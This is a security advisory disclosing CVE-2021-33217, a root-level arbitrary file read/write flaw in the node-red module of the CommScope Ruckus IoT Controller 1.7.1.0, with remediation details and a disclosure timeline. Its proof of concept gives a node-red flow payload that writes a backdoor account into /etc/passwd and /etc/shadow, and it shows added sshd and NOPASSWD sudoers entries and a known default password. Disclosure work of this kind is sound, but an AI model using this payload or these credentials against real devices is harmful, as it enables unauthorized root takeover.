CommScope Ruckus IoT Controller 1.7.1.0 Web Application Arbitrary Read/Write Vulnerability

CommScope Ruckus IoT Controller 1.7.1.0 Web Application Arbitrary Read/Write Vulnerability

1. Vulnerability Details

     Affected Vendor: CommScope
     Affected Product: Ruckus IoT Controller
     Affected Version: 1.7.1.0 and earlier
     Platform: Linux
     CWE Classification: CWE-250: Execution with Unnecessary Privileges
     CVE ID: CVE-2021-33217


2. Vulnerability Description

     The IoT Controller web application includes a NodeJS module,
     node-red, which has the capability for users to read or write to
     local files on the IoT Controller. With the elevated privileges
     the web application runs as, this allowed for reading and
     writing to any file on the IoT Controller filesystem.


3. Technical Description

     The Ruckus IoT Controller contains the node-red NodeJS
     Module. The node-red module has the built in functionality
     to read and write to files on the local filesystem of the
     IoT Controller.

     An authentication token is required. But a token is easily
     obtained due to hard-coded, default, unchangeable web application
     credentials (CVE-2021-33219).

     With the web application (and the node-red NodeJS module)
     running as root, this functionality can be leveraged to
     read or write to any file on the filesystem of the Ruckus
     IoT Controller.

     This condition was leveraged to add an account to the
     /etc/passwd file, then used to add a password hash to
     /etc/shadow. Additionally, the SSH daemon configuration was
     modified to ensure that the newly added account would be able
     to SSH in to the device. And to complete the escalation to
     root-level privileges, the newly added account was added to
     the /etc/sudoers configuration file.

     None of these steps would have been possible if the web
     application (and the node-red module as a result) had not been
     running as the 'root' user.


4. Mitigation and Remediation Recommendation

     The vendor has released an updated firmware (1.8.0.0) which
     remediates the described vulnerability. Firmware and release
     notes are available at:

     https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf


5. Credit

     This vulnerability was discovered by Jim Becher (@jimbecher)
     of KoreLogic, Inc.


6. Disclosure Timeline

     2021.03.30 - KoreLogic submits vulnerability details to
                  CommScope.
     2021.03.30 - CommScope acknowledges receipt and the intention
                  to investigate.
     2021.04.06 - CommScope notifies KoreLogic that this issue,
                  along with several others reported by KoreLogic,
                  will require more than the standard 45 business
                  day remediation timeline.
     2021.04.06 - KoreLogic agrees to extend disclosure embargo if
                  necessary.
     2021.04.30 - CommScope informs KoreLogic that remediation for
                  this vulnerability will be available inside of the
                  standard 45 business day timeline. Requests
                  KoreLogic acquire CVE number for this
                  vulnerability.
     2021.05.14 - 30 business days have elapsed since the
                  vulnerability was reported to CommScope.
     2021.05.17 - CommScope notifies KoreLogic that the patched
                  version of the firmware will be available the week
                  of 2021.05.24.
     2021.05.19 - KoreLogic requests CVE from MITRE.
     2021.05.19 - MITRE issues CVE-2021-33217.
     2021.05.25 - CommScope releases firmware 1.8.0.0 and associated
                  advisory.
     2021.05.26 - KoreLogic public disclosure.


7. Proof of Concept

     An excerpt of one of the POSTs, which is 16000+ bytes in length, is
     below:

     POST /node-red/flows HTTP/1.1
     ....
     ....
    
{"id":"b64c27d9.bde92","type":"debug","z":"9e8d5b92.105d48","name":"","active":true,"tosidebar":true,"console":false,"tostatus":false,"complete":"payload","targetType":"msg","x":410,"y":420,"wires":[]},{"id":"6a762f41.9154e","type":"file
    
in","z":"9e8d5b92.105d48","name":"","filename":"/etc/shadow","format":"lines","chunk":false,"sendError":false,"encoding":"none","x":240,"y":340,"wires":[["b64c27d9.bde92"]]},{"id":"9f4d3e63.679728","type":"file","z":"9e8d5b92.105d48","name":"","filename":"/etc/shadow","appendNewline":true,"createDir":false,"overwriteFile":"false","encoding":"ascii","x":300,"y":540,"wires":[[]]},{"id":"226919a8.efb196","type":"inject","z":"9e8d5b92.105d48","name":"","topic":"","payload":"jbecher2:$6$c4jEcmjj$uDjuSxfkzd0QHt/MAGnPJ798izuVhq11MSmkS3iXtDg.iqSumzou4.HauYOrSIYl5JdQlrbZAL7PAkPfrxcxH0:18626:0:99999:7:::","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":110,"y":500,"wires":[["9f4d3e63.679728"]]},{"id":"7b6a1a67.f44ef4","type":"inject","z":"9e8d5b92.105d48","name":"","topic":"jbecher2:x:18626:18626:Jim
    
Becher,,,:/tmp:/bin/bash","payload":"","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":110,"y":600,"wires":[["72dfbb2b.4e930c"]]},{"id":"72dfbb2b.4e930c","type":"file","z":"9e8d5b92.105d48","name":"","filename":"/etc/passwd","appendNewline":true,"createDir":false,"overwriteFile":"false","encoding":"ascii","x":320,"y":640,"wires":[[]]}],"rev":"0564d9f18d8097f549648378fe8c4476"}

     and then there is a subsequent POST to inject/trigger the flow.

     [email protected]:~# tail -1 /etc/passwd
     jbecher2:x:18626:18626:Jim Becher,,,:/tmp:/bin/bash

     [email protected]:~# tail -1 /etc/shadow
    
jbecher2:$6$c4jEcmjj$uDjuSxfkzd0QHt/MAGnPJ798izuVhq11MSmkS3iXtDg.iqSumzou4.HauYOrSIYl5JdQlrbZAL7PAkPfrxcxH0:18626:0:99999:7:::
     Note: the above hash is the same as the hash of the vriotha user,
     whose password is known to be 'nplus1user' (CVE-2021-33218).

     [email protected]:~# tail -2 /etc/ssh/sshd_config
     Match User jbecher2
     PasswordAuthentication yes

     [email protected]:~# tail -1 /etc/sudoers
     jbecher2  ALL=(ALL:ALL) NOPASSWD: ALL